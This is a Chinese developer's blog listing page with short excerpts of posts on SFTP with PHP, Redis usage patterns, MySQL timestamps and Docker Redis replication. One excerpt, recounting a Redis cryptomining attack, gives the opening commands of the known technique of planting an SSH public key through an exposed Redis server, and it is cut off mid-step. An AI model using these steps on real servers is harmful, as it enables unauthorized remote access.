- 博客(9)
- 收藏
- 关注
原创 linux php5.6 安装ssh2拓展包 连接服务器
需求:需要将一些材料文件上传至接收方的服务器接收方已提供主机:merchant-sftp.*****.com端口:2**2协议:SFTP用户名:商编密钥:密钥文件密码:不需要密码思路:php可使用 ssh2_auth_password($connect, $username, $passport) 和ssh2_auth_pubkey_file($connect, $username, $pubKey, $priKey) 实现连接服务器,此处对方要求使用第二个方法实现,但却只有提供私钥,...
2021-02-04 11:44:39 396 1
原创 linux连接ftp
服务器直接下载文件sftp连接在shell命令下:sftproot@120.110.7.119意思是已root用户名连接120.110.7.119服务器,随后要你输入root对应的密码。输入正确后就连接上了sftp下载文件到本地服务器命令:sftp>get/etc/supervisor/file.conf /etc/supervisord.d,意思是从120.110.7.119服务器的/etc/supervisor目录下的file.conf文件下载到了本地服务器的...
2021-01-27 11:02:45 710 1
原创 redis常见应用场景
string计数器:incr、decr分布式锁:setnx、expire、deljson set 存储对象(不常变化的部分)hash购物车:hset、hdel、hlen、hincrby、hgetallhset、hincrby 存储对象(经常变化的部分)list消息队列:rpush lpop排行榜:rpush、lrangeset好友、关注、粉丝等等的集合:sismermber、scard、smove随机展示 sranmember黑白名单:sismembersorted s
2021-01-26 11:35:58 110
原创 记一次redis遭受挖矿脚本攻击
攻击前提:redis端口和密码均暴露步骤:1:生成一对公私钥,可本地命令行或使用工具生成,例如:ssh-keygen -t rsa2:将公钥写入到文件里,例如:(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt3:cat命令读取公钥文件内容,并连接redis写入key test中,例如:cat /home/zqw/.ssh/foo.txt | ./redis-cli -h x.x.x.y -x set test4:利用redis的配
2021-01-26 10:28:08 577
原创 Mysql 时间字段自动取当前时间
注意mysql版本至少需要5.6以上`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '修改时间',
2021-01-26 09:37:14 286
原创 redis 有序集合(sorted set)实现排名
特性:元素不重复,分值可重复假设有销售3人,张三、李四、王五。1月25号 分别销售额为0.01、0.02、0.03,1月26号 分别销售额为0.03、0.02、0.01zincrby 20210125 0.01 张三zincrby 20210125 0.02 李四zincrby 20210125 0.03 王五zincrby 20210126 0.03 张三zincrby 20210126 0.02 李四zincrby 20210126 0.01 王五那么计算某一天的排名为:
2021-01-26 09:31:09 361
原创 使用docker安装多个redis进行主从配置,并使用swoole对主从延时进行监听
1.安装dockeryum install -y yum-utils device-mapper-persistent-data lvm2yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoyum list docker-ce --showduplicate...
2020-06-11 16:29:57 186
原创 mysql个人见解
mysql基本原理(仅个人理解)mysql属于c/s架构,即客户端和服务端交互1.连接:例PHP mysqli_connect 以客户端发起请求,mysql服务端进行接收并处理,其中客户端每发起的一次链接mysql均起一个线程来维持一个socket(套接字),此时会有服务端资源的开销,因此mysql一般需设置一个合适的最大链接数,单机情况下,需考虑链接被打满情况,链接又可分为长链接和短链接,其中链接可通过客户端close主动关闭和释放,否则由mysql服务端根据设置的最大超时时间进行关闭2:查询(in
2020-06-11 00:30:00 188
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人